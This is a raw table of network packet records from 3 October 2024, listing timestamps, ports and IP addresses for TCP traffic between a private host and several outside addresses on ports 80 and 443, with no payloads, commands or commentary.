Oct 3, 2024 03:27:14.083300114 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083313942 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083336115 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083339930 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083349943 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083364964 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083395958 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083395958 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083395958 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083408117 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083422899 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083436012 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083451033 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083456993 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083472967 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083503008 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083523035 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083538055 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083551884 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083565950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083580971 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083580971 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083599091 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083600044 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083606958 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083621025 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083637953 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083645105 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083658934 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083671093 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083697081 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083734989 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083750963 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083775997 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083813906 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083832979 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083848000 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083863020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083875895 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083877087 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083890915 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083893061 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083905935 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083919048 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083930969 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.083969116 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.083982944 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084033012 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084033012 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084120989 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084136009 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084151030 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084166050 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084172964 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084182024 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084187031 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084198952 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084213972 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084218025 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084230900 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084235907 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084249020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084259987 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084264040 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084270954 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084291935 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084299088 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084405899 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084420919 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084434032 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084450960 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084461927 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084465981 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084481001 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084486961 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084497929 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.084502935 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084525108 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.084539890 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.094932079 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.094945908 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.094959974 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.094993114 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.094997883 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095000982 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095021963 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095037937 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095041037 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095052004 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095067024 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095078945 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095081091 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095094919 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095102072 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095109940 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095112085 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095134974 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095135927 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095149040 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095149994 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095165968 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095174074 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095199108 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095199108 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095206022 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095220089 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095244884 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095247030 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095257998 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095262051 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095277071 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095283031 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095295906 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095300913 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095312119 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095314026 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095335007 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095351934 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095406055 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095419884 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095433950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.095455885 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.095477104 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.131994963 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132019997 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132035017 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132062912 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132062912 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132088900 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132096052 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132106066 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132122040 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132138014 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132136106 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132163048 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132164955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132164955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132179022 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132190943 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132194042 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132217884 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132217884 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132237911 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132318020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132342100 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132354975 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132369995 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132370949 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132388115 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.132397890 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132399082 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132419109 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.132437944 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.138245106 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.138520002 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.138539076 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.138881922 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.138932943 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.139478922 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.139530897 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.140309095 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.140368938 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.140486002 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.140500069 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.173542976 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173554897 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173574924 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173594952 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173624992 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173657894 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173679113 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173691988 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173700094 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173712015 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173717022 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173724890 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173732042 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173744917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173753023 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173758984 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173764944 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173784018 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173793077 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173799992 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173806906 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173815966 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173830032 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173841000 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173842907 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173855066 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173854113 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173875093 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173875093 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173887014 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173896074 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173907042 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:14.173909903 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173928022 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.173949003 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:14.195646048 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.429570913 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.429775953 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.429824114 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.459620953 CEST	49741	443	192.168.2.5	142.250.186.174
Oct 3, 2024 03:27:14.459654093 CEST	443	49741	142.250.186.174	192.168.2.5
Oct 3, 2024 03:27:14.474795103 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:14.474858999 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:14.474915981 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:14.475162029 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:14.475173950 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.113089085 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.113477945 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.113500118 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.113873005 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.114078999 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.114550114 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.115194082 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.159812927 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.159908056 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.161443949 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.207396984 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.211335897 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.211347103 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.258637905 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.629472971 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.629492998 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.629553080 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.629565954 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.629584074 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:15.629628897 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.633079052 CEST	49745	443	192.168.2.5	142.250.185.142
Oct 3, 2024 03:27:15.633093119 CEST	443	49745	142.250.185.142	192.168.2.5
Oct 3, 2024 03:27:16.348265886 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:16.356326103 CEST	80	49748	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:16.356431961 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:16.356786013 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:16.363526106 CEST	80	49748	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:16.391604900 CEST	49737	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:16.392098904 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:16.396744013 CEST	80	49737	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:16.396823883 CEST	49737	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:16.396908998 CEST	80	49749	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:16.397077084 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:16.397782087 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:16.402666092 CEST	80	49749	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:17.074095011 CEST	80	49748	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:17.074282885 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:17.082078934 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:17.087096930 CEST	80	49748	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:17.116305113 CEST	80	49749	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:17.118069887 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:17.288341999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:17.288850069 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:17.294096947 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:17.294337988 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:17.294486046 CEST	80	49751	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:17.294867039 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:17.294867039 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:17.303162098 CEST	80	49751	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:17.333034039 CEST	80	49748	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:17.333174944 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:17.899979115 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:17.900005102 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:17.900065899 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:17.900289059 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:17.900302887 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.063762903 CEST	80	49751	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:18.063961029 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:18.668739080 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.670486927 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:18.670514107 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.672040939 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.672218084 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:18.673201084 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:18.673296928 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.692677975 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:18.692723989 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:18.692807913 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:18.693836927 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:18.693846941 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:18.715250969 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:18.715274096 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:18.761902094 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:19.973788977 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:19.974176884 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:20.023370981 CEST	80	49759	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:20.023399115 CEST	80	49749	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:20.023498058 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:20.023538113 CEST	49749	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:20.026285887 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:20.065567970 CEST	80	49759	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:20.261612892 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:20.261728048 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:20.562644005 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:20.562659979 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:20.563098907 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:20.607422113 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:20.790074110 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:20.814459085 CEST	80	49759	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:20.814518929 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:20.831396103 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.010241032 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.010327101 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.010422945 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.030491114 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.030491114 CEST	49755	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.030510902 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.030523062 CEST	443	49755	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.097940922 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.097979069 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.098057032 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.098661900 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.098676920 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.624885082 CEST	49748	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:21.801804066 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.801904917 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.812454939 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.812467098 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.812861919 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:21.814888000 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:21.855401993 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:22.081990957 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:22.082066059 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:22.082201958 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:22.104377985 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:22.104419947 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:22.104448080 CEST	49761	443	192.168.2.5	184.28.90.27
Oct 3, 2024 03:27:22.104463100 CEST	443	49761	184.28.90.27	192.168.2.5
Oct 3, 2024 03:27:22.465991020 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:22.471487045 CEST	80	49759	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:22.471671104 CEST	49759	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:22.475703955 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:22.480700970 CEST	80	49766	185.215.113.43	192.168.2.5
